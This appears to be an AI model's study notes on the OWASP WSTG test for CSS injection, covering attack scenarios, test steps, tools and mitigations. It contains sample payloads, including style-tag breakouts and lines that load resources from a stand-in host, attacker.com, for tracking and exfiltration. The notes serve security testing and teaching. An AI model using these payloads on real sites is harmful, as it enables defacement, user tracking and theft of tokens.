Perfect 👌 Let’s build **precise WSTG notes for “Testing for CSS Injection” (WSTG-CLNT-05)**.

**📝 Testing for CSS Injection**

**🎯 Purpose**

To check if **user-supplied input** is injected into **CSS stylesheets or inline styles** without proper sanitization.

* CSS Injection may not always give **code execution**, but it can lead to:
  + **UI manipulation / defacement**
  + **Sensitive data exfiltration (CSS-based attacks)**
  + **Phishing / Clickjacking support**
  + In some cases → **stealing secrets via CSS attribute selectors**

**⚡ Common Attack Scenarios**

1. **Style Manipulation**
2. <style>body {background:red;}</style>
3. **Malicious Inline Style Injection**
4. <div style="color:blue; background:url(//attacker.com/track.png)">
5. **Exfiltration via CSS Selectors**
   * Advanced attacks: guessing content (e.g., CSRF tokens, usernames) using CSS attribute selectors and loading external resources.
6. **Phishing/Overlay**
   * Hiding login forms and injecting fake ones via CSS.

**🔍 How to Test**

1. **Inject CSS in Input Fields**
   * <style>h1{color:red}</style>
   * "><style>body{display:none}</style>
2. **Inline Style Injection**
   * Test if user input is reflected in style= attribute.
   * Example payload: " style="background:url(//attacker.com/poc)">
3. **Check for External CSS Loads**
   * Try forcing CSS load from attacker domain:
   * @import url(//attacker.com/evil.css);
4. **Detect Data Exfiltration Vectors**
   * Use CSS attribute selectors to infer hidden values (advanced, mostly PoC).
5. **Use Tools**
   * Burp/ZAP → inject payloads into form inputs, query params, headers.
   * Browser DevTools → inspect DOM for injected CSS.

**🛡️ Mitigation**

* **Never allow raw user input** in style contexts.
* Apply **output encoding** for CSS (<, >, {, } should be escaped).
* Use **CSP (Content Security Policy)** → block inline styles + restrict external CSS.
* Sanitize with libraries (e.g., **DOMPurify**) when dynamic styles are needed.
* Prefer **server-side controlled styles** instead of user-controlled.

✅ **Key Takeaway:**  
CSS Injection alters page appearance and can aid **phishing, data exfiltration, and clickjacking**. While often underestimated compared to XSS, it’s still a **client-side injection risk** that must be mitigated.

👉 Do you want me to also add a **real-world CSS exfiltration attack example** (like extracting CSRF tokens via CSS selectors) so you can see how dangerous this gets beyond just “making text red”?